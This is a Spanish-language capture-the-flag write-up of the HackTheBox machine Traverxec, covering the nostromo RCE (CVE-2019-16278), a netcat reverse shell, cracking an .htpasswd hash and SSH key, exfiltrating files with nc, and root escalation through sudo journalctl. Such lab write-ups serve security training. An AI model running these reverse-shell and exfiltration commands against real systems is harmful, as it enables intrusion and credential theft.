Post

HackTheBox - Traverxec

Máquina Linux de nivel Easy de HackTheBox.

Técnicas usadas: RCE (CVE-2019-16278), Information Leakage, Misconfiguration

Fase de Reconocimiento 🧣

a. Enumeramos los puertos que están abiertos en la Máquina Traverxec

  • nmap -p- -sS -Pn -n <IP> -oG puertos

b. Vemos las versiones de los servicios que se están ejecutando en los puertos

  • nmap -p22,80 -sCV <IP> -oN versiones

    • Al buscar por vulnerabilidades de nostromo 1.9.6 encontramos CVE-2019-16278, con el cual logramos un RCE (Remote Command Execution)
    1
    2
    3
    
      python2 nostromo_rce.py 10.10.10.165 80 'id'
      <SNIP>
      uid=33(www-data) gid=33(www-data) groups=33(www-data)
    

c. Como ya podemos ejecutar comandos entablamos una reverse shell, nos ponemos en escucha con nc previamente.

1
2
3
4
5
6
7
python2 nostromo_rce.py 10.10.10.165 80 'nc -e bash 10.10.14.115 443'
----------------------------------------------------------------------
nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.115] from (UNKNOWN) [10.10.10.165] 54542
script /dev/null -c bash
www-data@traverxec:/usr/bin$

Escalada de Privilegios 💹

a. Existe david como usuario en el sistema

1
2
www-data@traverxec:/home$ ls 
david

b. Investigamos por archivos que tengan como propietario al usuario www-data

1
2
3
4
5
find / -user www-data 2>/dev/null | grep -vE "proc"

<SNIP>
/var/nostromo/logs
/var/nostromo/logs/nhttpd.pid
  • En el directorio /var/nostromo/conf podemos ver archivos de configuración de nostromo

    • nhttpd.conf

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      
        # MAIN [MANDATORY]
        servername              traverxec.htb
        serverlisten            *
        serveradmin             david@traverxec.htb
        serverroot              /var/nostromo
        servermimes             conf/mimes
        docroot                 /var/nostromo/htdocs
        docindex                index.html
      
        # LOGS [OPTIONAL]
        logpid                  logs/nhttpd.pid
      
        # SETUID [RECOMMENDED]
        user                    www-data
      
        # BASIC AUTHENTICATION [OPTIONAL]
        htaccess                .htaccess
        htpasswd                /var/nostromo/conf/.htpasswd
      
        # ALIASES [OPTIONAL]
        /icons                  /var/nostromo/icons
      
        # HOMEDIRS [OPTIONAL]
        homedirs                /home
        homedirs_public         public_www
      

      Añadimos el dominio traverxec.htb a nuestro archivo /etc/hosts

  • En el archivo .htpasswd vemos la contraseña del usuario david

    1
    2
    
      www-data@traverxec:/var/nostromo/conf$ cat .htpasswd 
      david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/
    

    Al crackearla con john vemos que en texto plano es Nowonly4me

c. Si leemos un poco de documentación sobre nostromo, observamos que podemos acceder directorios de esta forma ~[Directorio] y en caso de necesitar auntenticación debemos acceder a .htaccess

  • Después de intentar de varias formas, ninguna funciona

    1
    2
    3
    4
    
      http://david:Nowonly4me@traverxec.htb/~david/
      http://traverxec.htb/~david/
      http://traverxec.htb/~david/.htaccess
      http://david:Nowonly4me@traverxec.htb/~david/.htaccess
    

    Mensaje de la página web.

d. En el archivo nhttpd.conf existe la configuración

1
2
homedirs                /home
homedirs_public         public_www
  • Esto nos indica que los directorios a los que podemos acceder con nostromo son todos los que están en home (Direcctorio del usuario david) y que tiene un directorio accesible public_www

    1
    2
    3
    4
    5
    6
    
      www-data@traverxec:/home$ cd david/public_www
      www-data@traverxec:/home/david/public_www$ ls
      index.html  protected-file-area
      www-data@traverxec:/home/david/public_www$ cd protected-file-area/
      www-data@traverxec:/home/david/public_www/protected-file-area$ ls
      backup-ssh-identity-files.tgz
    

e. Tranferimos el archivo backup-ssh-identity-files.tgz a nuestra Máquina Atacante

  • Máquina Atacante: nc -lvnp 4444 > backup.tgz
  • Máquina Víctima: nc 4444 < backup-ssh-identity-files.tgz

Descomprimos el fichero tar -xzvf backup.tgz y encontramos los pares de claves RSA del usuario david, pero la clave está encriptada, así que extraemos el hash con ssh2john id_rsa > hash

1
2
john hash -w=/home/kali/Desktop/rockyou.txt
id_rsa:hunter

Contraseña en texto claro del fichero id_rsa

f. Nos autenticamos en el servicio ssh y vemos que tenemos un directorio /bin

1
2
david@traverxec:~/bin$ ls
server-stats.head  server-stats.sh
  • server-status.sh

    1
    2
    
      <SNIP>
      /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat 
    

    Tenemos permiso para ejecutar journalctl como root

g. Para “forzar” la paginación de journalctl y podemos ejecutar comandos tenemos que minizar el tamaño de nuestra terminal

Por último leemos las flags

1
2
3
4
root@traverxec:/home/david/bin# cat /root/root.txt 
304e9063bbeecd398b1e260aeb580033
root@traverxec:/home/david/bin# cat /home/david/user.txt 
8340b5984d36a505da9adc72f1681260
This post is licensed under CC BY 4.0 by the author.